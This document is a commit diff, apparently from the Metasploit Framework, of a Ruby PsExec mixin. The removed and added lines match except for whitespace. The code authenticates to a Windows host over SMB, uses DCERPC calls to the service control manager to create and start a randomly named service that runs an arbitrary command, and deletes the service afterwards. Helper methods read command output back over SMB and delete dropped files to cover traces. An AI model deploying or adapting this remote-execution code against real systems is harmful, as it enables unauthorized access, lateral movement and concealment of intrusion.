@@ -10,190 +10,190 @@ module Msf
10
10
11
11
module Exploit ::Remote ::Psexec
12
12
13
- include Msf ::Exploit ::Remote ::DCERPC
14
- include Msf ::Exploit ::Remote ::SMB
15
-
16
- # Retrives output from the executed command
17
- # @param smbshare [String] The SMBshare to connect to. Usually C$
18
- # @param ip [IP Address] Remote Host to Connect To
19
- # @param file [File name] Path to the output file relative to the smbshare
20
- # Example: '\WINDOWS\Temp\outputfile.txt'
21
- # @return output or nil if fails
22
- def get_output ( smbshare , ip , file )
23
- begin
24
- print_status ( "Getting the command output..." )
25
- simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
26
- outfile = simple . open ( file , 'ro' )
27
- output = outfile . read
28
- outfile . close
29
- simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
30
- return output
31
- rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => output_error
32
- print_error ( "#{ peer } - The file #{ file } doesn't exist. #{ output_error } ." )
33
- return nil
34
- end
35
- end
36
-
37
-
38
- # This method executes a single windows command. If you want to
39
- # retrieve the output of your command you'll have to echo it
40
- # to a .txt file and then use the get_output method to retrieve it
41
- # Make sure to use the cleanup_after method when you are done.
42
- # @param command [String] Should be a valid windows command
43
- # @return true if everything wen't well
44
- def psexec ( command )
45
-
46
- simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
47
-
48
- handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
49
- vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
50
- dcerpc_bind ( handle )
51
- vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
52
-
53
- vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
54
- scm_handle = nil
55
- stubdata =
56
- NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
57
- begin
58
- response = dcerpc . call ( 0x0f , stubdata )
59
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
60
- scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
61
- end
62
- rescue ::Exception => e
63
- print_error ( "#{ peer } - Error: #{ e } " )
64
- return false
65
- end
66
-
67
- servicename = Rex ::Text . rand_text_alpha ( 11 )
68
- displayname = Rex ::Text . rand_text_alpha ( 16 )
69
- holdhandle = scm_handle
70
- svc_handle = nil
71
- svc_status = nil
72
-
73
- stubdata =
74
- scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
75
-
76
- NDR . long ( 0x0F01FF ) + # Access: MAX
77
- NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
78
- NDR . long ( 0x00000003 ) + # Start: Demand
79
- NDR . long ( 0x00000000 ) + # Errors: Ignore
80
- NDR . wstring ( command ) +
81
- NDR . long ( 0 ) + # LoadOrderGroup
82
- NDR . long ( 0 ) + # Dependencies
83
- NDR . long ( 0 ) + # Service Start
84
- NDR . long ( 0 ) + # Password
85
- NDR . long ( 0 ) + # Password
86
- NDR . long ( 0 ) + # Password
87
- NDR . long ( 0 ) # Password
88
- begin
89
- vprint_status ( "#{ peer } - Creating the service..." )
90
- response = dcerpc . call ( 0x0c , stubdata )
91
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
92
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
93
- svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
94
- end
95
- rescue ::Exception => e
96
- print_error ( "#{ peer } - Error: #{ e } " )
97
- return false
98
- end
99
-
100
- vprint_status ( "#{ peer } - Closing service handle..." )
101
- begin
102
- response = dcerpc . call ( 0x0 , svc_handle )
103
- rescue ::Exception
104
- end
105
-
106
- vprint_status ( "#{ peer } - Opening service..." )
107
- begin
108
- stubdata =
109
- scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
110
-
111
- response = dcerpc . call ( 0x10 , stubdata )
112
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
113
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
114
- end
115
- rescue ::Exception => e
116
- print_error ( "#{ peer } - Error: #{ e } " )
117
- return false
118
- end
119
-
120
- vprint_status ( "#{ peer } - Starting the service..." )
121
- stubdata =
122
- svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
123
- begin
124
- response = dcerpc . call ( 0x13 , stubdata )
125
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
126
- end
127
- rescue ::Exception => e
128
- print_error ( "#{ peer } - Error: #{ e } " )
129
- return false
130
- end
131
-
132
- vprint_status ( "#{ peer } - Removing the service..." )
133
- stubdata =
134
- svc_handle
135
- begin
136
- response = dcerpc . call ( 0x02 , stubdata )
137
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
138
- end
139
- rescue ::Exception => e
140
- print_error ( "#{ peer } - Error: #{ e } " )
141
- end
142
-
143
- vprint_status ( "#{ peer } - Closing service handle..." )
144
- begin
145
- response = dcerpc . call ( 0x0 , svc_handle )
146
- rescue ::Exception => e
147
- print_error ( "#{ peer } - Error: #{ e } " )
148
- end
149
-
150
- select ( nil , nil , nil , 1.0 )
151
- simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
152
- return true
153
- end
154
-
155
- # This method is called by file_dropper to remove files droped
156
- # By your module
157
- #
158
- # @example
159
- # file_rm('C:\WINDOWS\Temp\output.txt')
160
- #
161
- # @param file [String] Full path to a file on the remote host
162
- # @return [StandardError] only in the event of an error
163
- def file_rm ( file )
164
- delete = "%COMSPEC% /C del #{ file } "
165
- vprint_status ( "#{ peer } - Deleting #{ file } " )
166
- psexec ( delete )
167
- end
168
-
169
- # This method stores files in an Instance array
170
- # The files are then deleted from the remote host once
171
- # the cleanup_after method is called
172
- #
173
- # @example
174
- # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
175
- # @param file [String] Full path to the file on the remote host
176
- def register_file_for_cleanup ( *file )
177
- @dropped_files ||= [ ]
178
- @dropped_files += file
179
- end
180
-
181
- # This method removes any files that were dropped on the remote system
182
- # and marked with the register_file_for_cleanup method
183
- def cleanup_after
184
- print_status ( "#{ peer } - Removing files dropped by your module/exploit" )
185
- if !@dropped_files
186
- return
187
- end
188
- begin
189
- @dropped_files . delete_if do |file |
190
- file_rm ( file )
191
- print_good ( "#{ peer } - Deleted #{ file } " )
192
- end
193
- rescue ::Exception => cleanup_error
194
- print_error ( "#{ peer } - Unable to delte #{ file } . #{ cleanup_error } " )
195
- end
196
- end
13
+ include Msf ::Exploit ::Remote ::DCERPC
14
+ include Msf ::Exploit ::Remote ::SMB
15
+
16
+ # Retrives output from the executed command
17
+ # @param smbshare [String] The SMBshare to connect to. Usually C$
18
+ # @param ip [IP Address] Remote Host to Connect To
19
+ # @param file [File name] Path to the output file relative to the smbshare
20
+ # Example: '\WINDOWS\Temp\outputfile.txt'
21
+ # @return output or nil if fails
22
+ def get_output ( smbshare , ip , file )
23
+ begin
24
+ print_status ( "Getting the command output..." )
25
+ simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
26
+ outfile = simple . open ( file , 'ro' )
27
+ output = outfile . read
28
+ outfile . close
29
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
30
+ return output
31
+ rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => output_error
32
+ print_error ( "#{ peer } - The file #{ file } doesn't exist. #{ output_error } ." )
33
+ return nil
34
+ end
35
+ end
36
+
37
+
38
+ # This method executes a single windows command. If you want to
39
+ # retrieve the output of your command you'll have to echo it
40
+ # to a .txt file and then use the get_output method to retrieve it
41
+ # Make sure to use the cleanup_after method when you are done.
42
+ # @param command [String] Should be a valid windows command
43
+ # @return true if everything wen't well
44
+ def psexec ( command )
45
+
46
+ simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
47
+
48
+ handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
49
+ vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
50
+ dcerpc_bind ( handle )
51
+ vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
52
+
53
+ vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
54
+ scm_handle = nil
55
+ stubdata =
56
+ NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
57
+ begin
58
+ response = dcerpc . call ( 0x0f , stubdata )
59
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
60
+ scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
61
+ end
62
+ rescue ::Exception => e
63
+ print_error ( "#{ peer } - Error: #{ e } " )
64
+ return false
65
+ end
66
+
67
+ servicename = Rex ::Text . rand_text_alpha ( 11 )
68
+ displayname = Rex ::Text . rand_text_alpha ( 16 )
69
+ holdhandle = scm_handle
70
+ svc_handle = nil
71
+ svc_status = nil
72
+
73
+ stubdata =
74
+ scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
75
+
76
+ NDR . long ( 0x0F01FF ) + # Access: MAX
77
+ NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
78
+ NDR . long ( 0x00000003 ) + # Start: Demand
79
+ NDR . long ( 0x00000000 ) + # Errors: Ignore
80
+ NDR . wstring ( command ) +
81
+ NDR . long ( 0 ) + # LoadOrderGroup
82
+ NDR . long ( 0 ) + # Dependencies
83
+ NDR . long ( 0 ) + # Service Start
84
+ NDR . long ( 0 ) + # Password
85
+ NDR . long ( 0 ) + # Password
86
+ NDR . long ( 0 ) + # Password
87
+ NDR . long ( 0 ) # Password
88
+ begin
89
+ vprint_status ( "#{ peer } - Creating the service..." )
90
+ response = dcerpc . call ( 0x0c , stubdata )
91
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
92
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
93
+ svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
94
+ end
95
+ rescue ::Exception => e
96
+ print_error ( "#{ peer } - Error: #{ e } " )
97
+ return false
98
+ end
99
+
100
+ vprint_status ( "#{ peer } - Closing service handle..." )
101
+ begin
102
+ response = dcerpc . call ( 0x0 , svc_handle )
103
+ rescue ::Exception
104
+ end
105
+
106
+ vprint_status ( "#{ peer } - Opening service..." )
107
+ begin
108
+ stubdata =
109
+ scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
110
+
111
+ response = dcerpc . call ( 0x10 , stubdata )
112
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
113
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
114
+ end
115
+ rescue ::Exception => e
116
+ print_error ( "#{ peer } - Error: #{ e } " )
117
+ return false
118
+ end
119
+
120
+ vprint_status ( "#{ peer } - Starting the service..." )
121
+ stubdata =
122
+ svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
123
+ begin
124
+ response = dcerpc . call ( 0x13 , stubdata )
125
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
126
+ end
127
+ rescue ::Exception => e
128
+ print_error ( "#{ peer } - Error: #{ e } " )
129
+ return false
130
+ end
131
+
132
+ vprint_status ( "#{ peer } - Removing the service..." )
133
+ stubdata =
134
+ svc_handle
135
+ begin
136
+ response = dcerpc . call ( 0x02 , stubdata )
137
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
138
+ end
139
+ rescue ::Exception => e
140
+ print_error ( "#{ peer } - Error: #{ e } " )
141
+ end
142
+
143
+ vprint_status ( "#{ peer } - Closing service handle..." )
144
+ begin
145
+ response = dcerpc . call ( 0x0 , svc_handle )
146
+ rescue ::Exception => e
147
+ print_error ( "#{ peer } - Error: #{ e } " )
148
+ end
149
+
150
+ select ( nil , nil , nil , 1.0 )
151
+ simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
152
+ return true
153
+ end
154
+
155
+ # This method is called by file_dropper to remove files droped
156
+ # By your module
157
+ #
158
+ # @example
159
+ # file_rm('C:\WINDOWS\Temp\output.txt')
160
+ #
161
+ # @param file [String] Full path to a file on the remote host
162
+ # @return [StandardError] only in the event of an error
163
+ def file_rm ( file )
164
+ delete = "%COMSPEC% /C del #{ file } "
165
+ vprint_status ( "#{ peer } - Deleting #{ file } " )
166
+ psexec ( delete )
167
+ end
168
+
169
+ # This method stores files in an Instance array
170
+ # The files are then deleted from the remote host once
171
+ # the cleanup_after method is called
172
+ #
173
+ # @example
174
+ # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
175
+ # @param file [String] Full path to the file on the remote host
176
+ def register_file_for_cleanup ( *file )
177
+ @dropped_files ||= [ ]
178
+ @dropped_files += file
179
+ end
180
+
181
+ # This method removes any files that were dropped on the remote system
182
+ # and marked with the register_file_for_cleanup method
183
+ def cleanup_after
184
+ print_status ( "#{ peer } - Removing files dropped by your module/exploit" )
185
+ if !@dropped_files
186
+ return
187
+ end
188
+ begin
189
+ @dropped_files . delete_if do |file |
190
+ file_rm ( file )
191
+ print_good ( "#{ peer } - Deleted #{ file } " )
192
+ end
193
+ rescue ::Exception => cleanup_error
194
+ print_error ( "#{ peer } - Unable to delte #{ file } . #{ cleanup_error } " )
195
+ end
196
+ end
197
197
198
198
end
199
199
0 commit comments